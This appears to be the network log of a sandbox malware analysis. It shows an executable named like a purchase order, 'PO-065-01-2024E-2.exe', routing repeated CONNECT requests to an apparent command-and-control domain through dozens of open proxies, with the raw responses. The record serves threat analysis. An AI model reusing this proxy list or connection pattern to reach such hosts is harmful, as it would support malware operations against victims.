Mar 11, 2024 16:40:41.009301901 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:40:53 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 638 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of
Mar 11, 2024 16:40:41.009334087 CET	294	IN	Data Raw: 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f Data Ascii: the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at heygirlisheeverythingyou

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.10	49765	172.67.182.169	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.471602917 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:43.625718117 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:43 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.10	49769	104.17.9.114	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.483380079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:43.637722969 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:43 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.10	49735	207.180.234.220	37736	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.534960985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.176295042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.098189116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.989402056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.786112070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.489367008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.176698923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:05.473984957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:20.176284075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.10	49734	14.103.24.148	8000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.537162066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.092746973 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.10	49768	162.243.102.207	9764	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.547833920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.10	49797	45.12.31.3	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.578879118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:43.733447075 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:43 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.10	49740	43.133.136.208	8800	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.603749990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.10	49811	104.17.84.150	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.610626936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:43.765124083 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:43 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.10	49819	104.16.81.76	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.651741028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:43.806085110 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:43 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.10	49774	20.37.207.8	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.674604893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.669058084 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.10	49839	185.162.229.127	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.710458994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:43.864756107 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:43 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.10	49851	172.67.187.242	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.728399038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:43.882477045 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:43 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.10	49757	208.109.14.49	22881	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.740151882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.614063025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.957567930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.10	49860	104.25.135.170	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.740931988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:43.895350933 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:43 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.10	49801	193.239.56.84	8081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.760201931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.10	49821	147.75.92.251	9401	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.790503025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.073121071 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.10	49822	15.236.106.236	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.800014019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.096256971 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:43 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.10	50013	43.153.52.155	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.802172899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.10	50015	43.153.52.155	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.805999041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.10	49856	184.170.249.65	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.853065014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.10	49847	98.162.25.29	31679	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.853074074 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.10	49850	174.64.199.82	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.853102922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.10	49920	104.16.105.106	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.853482008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
